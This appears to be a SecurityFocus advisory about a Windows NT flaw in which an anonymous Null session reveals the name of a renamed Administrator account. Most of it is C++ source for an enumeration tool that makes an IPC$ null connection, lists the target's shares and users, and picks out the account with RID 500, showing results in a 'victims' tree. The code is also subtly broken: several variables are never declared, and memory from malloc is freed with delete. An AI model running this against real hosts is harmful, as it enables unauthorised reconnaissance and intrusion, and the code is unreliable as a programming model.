source: http://www.securityfocus.com/bid/494/info

By establishing a Null session with an NT host, an intruder can gain the name of even a renamed Administrator account. This is because even Null sessions are added to the Everyone group for the duration of the connection. This was done so that hosts not in the domain could still use MS Networking's browser functions. 

First - making a NULL Session connection

One way to this is by using the Net Use command with an empty password. Programmatically, it looks like this....

//This function called from dialog that fills listbox with connections

BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)
{
//Setup for UNICODE
char* pTemp = TargetHost.GetBuffer(256);
WCHAR wszServ[256];
LPWSTR Server = NULL;

//Convert to Unicode
MultiByteToWideChar(CP_ACP, 0, pTemp,
strlen(pTemp)+1, wszServ,
sizeof(wszServ)/sizeof(wszServ[0]) );

//Create the IPC$ share connection string we need
Server = wszServ;

LPCWSTR szIpc = L"\\IPC$";
WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL
DWORD dwServNameLen;
DWORD dwRC;

//Setup Win32 structures and variables we need
NET_API_STATUS nas;

USE_INFO_2 ui2;
SHARE_INFO_1* pSHInfo1 = NULL;
DWORD dwEntriesRead;
DWORD dwTotalEntries;

//Set up handles to tree control to insert connection results

HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;

char sharename[256];
char remark[256];

if(Server == NULL || *Server == L'\0')
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

dwServNameLen = lstrlenW( Server );

//Test for various errors in connection string and recover
if(Server[0] != L'\\' && Server[1] != L'\\')
{
// prepend slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count
RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;
if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;
//Start with clean memory
ZeroMemory(&ui2, sizeof(ui2));
//Fill in the Win32 network structure we need to use connect API
ui2.ui2_local = NULL;
ui2.ui2_remote = (LPTSTR) RemoteResource;
ui2.ui2_asg_type = USE_IPC;
ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL
ui2.ui2_username = (LPTSTR) L"";
ui2.ui2_domainname = (LPTSTR) L"";

//MAKE THE NULL SESSION CALL
nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0,
TVI_ROOT);
}

//THIS IS WHERE NT HANDS OUT IT INFORMATION
nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
if(dwTotalEntries > 0)
{
shareRoot = pDlg->m_Victims.InsertItem("Shares",
machineRoot,TVI_LAST);
userRoot = pDlg->m_Victims.InsertItem("Users",
machineRoot,TVI_LAST);
adminRoot = pDlg->m_Victims.InsertItem("Admin",
machineRoot,TVI_LAST);

}
for(int x=0; x<(int)dwTotalEntries; x++)
{
// Convert back to ANSI
WideCharToMultiByte(CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_netname, -1,
sharename, 256, NULL, NULL );

WideCharToMultiByte( CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_remark, -1,
remark, 256, NULL, NULL );
CString ShareDetails = sharename;
ShareDetails = ShareDetails + " - " + remark;
//fill the tree with connect info
attribRoot = pDlg->m_Victims.InsertItem(ShareDetails,
shareRoot,TVI_LAST);
pSHInfo1++;
}
}

//My Wrapper function for listing users - see below
DoNetUserEnum(Server, pDlg, userRoot, adminRoot);

//WE ARE DONE, SO KILL THE CONNECTION
nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);

TargetHost.ReleaseBuffer();
SetLastError( nas );
return FALSE;
}

The following function is how one can programmatically determine the administrator status of an account......

bool GetAdmin(char* pServer, char* pUser, CString& Name)
{
BOOL fAdmin = FALSE;
DWORD dwDomainName,dwSize,dwAdminVal;
SID_NAME_USE use;
PSID pUserSID = NULL; // SID for user
int rc;
int iSubCount;

bool bFoundHim = 0;
dwDomainName = 256;
dwSize = 0;
dwAdminVal = 0;
iSubCount = 0;

//Call API for buffer size since we don't know size beforehand
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
rc = GetLastError();

//Allocate a larger buffer
if(rc == ERROR_INSUFFICIENT_BUFFER)
{
pUserSID = (PSID) malloc(dwSize);

//Repeat call now that we have the right size buffer
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
}

//Scan the SIDS for the golden key - ADMIN == 500

//Get a count of SID's
iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));
//Admin SID is the last element in the count
dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));

if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN
{
Name.Format("Admin is %s\\%s\n", szDomainName, pUser);
bFoundHim = true;
}

delete pUserSID;
return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE
}



Wrapper for Listing the user accounts.....

void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM
userRoot, HTREEITEM adminRoot)
{
USER_INFO_10 *pUserbuf, *pCurUser;
DWORD dwRead, dwRemaining, dwResume, dwRC;

char userName[256];
char userServer[256];

dwResume = 0;

if(pServer[0] != L'\\' && pServer[1] != L'\\')
{
//Start sting with correct UNC slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count

RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return;
}

if(lstrcatW(RemoteResource, pServer) == NULL) return;

do
{

pUserbuf = NULL;

//THIS IS THE API THE NT USES TO HAND OUT IT's LIST
dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024,
&dwRead, &dwRemaining, &dwResume);
if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)
break;

DWORD i;
for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)
{

// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1,
userName, 256, NULL, NULL );
// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pServer, -1,
userServer, 256, NULL, NULL );

if(!GotAdmin)
{
//use char strings
CString Admin;
GotAdmin = GetAdmin(userServer, userName, Admin);
if(GotAdmin)
{
Admin.TrimRight();
HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin,
adminRoot, TVI_LAST);
pDlg->m_Victims.EnsureVisible(adminChild);
}
}

CString strUserName = userName;
pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);

}
if (pUserbuf != NULL)
NetApiBufferFree(pUserbuf);
} while (dwRC == ERROR_MORE_DATA);

if (dwRC != ERROR_SUCCESS)
printf("NUE() returned %lu\n", dwRC);
}